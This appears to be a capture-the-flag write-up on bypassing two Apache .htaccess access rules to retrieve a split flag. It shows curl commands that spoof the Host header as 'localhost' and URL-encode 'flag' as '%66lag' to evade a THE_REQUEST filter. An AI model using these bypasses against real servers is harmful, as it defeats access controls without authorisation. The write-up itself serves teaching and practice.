The site tells us that there are .htaccess files that configure the permissions for /one/flag.txt and /two/flag.txt.The .htaccess file for /one/flag.txt looks like this:```RewriteEngine OnRewriteCond %{HTTP_HOST} !^localhost$RewriteRule ".*" "-" [F]```That tells us if the Host header does not match the string 'localhost' the request is rewritten to be forbidden. Luckily we can simply set the Host header in our request to a value of our choice. Why not use 'localhost' then:
```bash$curl -i -s -k -X $'GET' -H $'Host: localhost' $'http://34.87.217.252:30026/one/flag.txt'HTTP/1.1 200 OKDate: Sat, 24 Sep 2022 04:20:69 GMTServer: Apache/2.4.54 (Unix)Last-Modified: Tue, 20 Sep 2022 12:48:21 GMTETag: "f-5e91b3e3b0f40"Accept-Ranges: bytesContent-Length: 15Content-Type: text/plain
DUCTF{thats_it_ ```First part of the flag down. Let's examine the second .htaccess file:```RewriteEngine OnRewriteCond %{THE_REQUEST} flagRewriteRule ".*" "-" [F]```This has a similar structure but contains a server variable: 'THE_REQUEST'.Official apache documentation (https://httpd.apache.org/docs/current/mod/mod_rewrite.html) states:```THE_REQUEST    The full HTTP request line sent by the browser to the server (e.g., "GET /index.html HTTP/1.1"). This does not include any additional headers sent by the browser. This value has not been unescaped (decoded), unlike most other variables below.```This means we are not allowed to request anything that has the string 'flag' in it. Thus we simply replace the 'flag' part of the url by an URL encoded string```$curl http://34.87.217.252:30026/two/%66lag.txtnext_time_im_using_nginx}```Now we only have to combine the two parts of the flag to receive our points.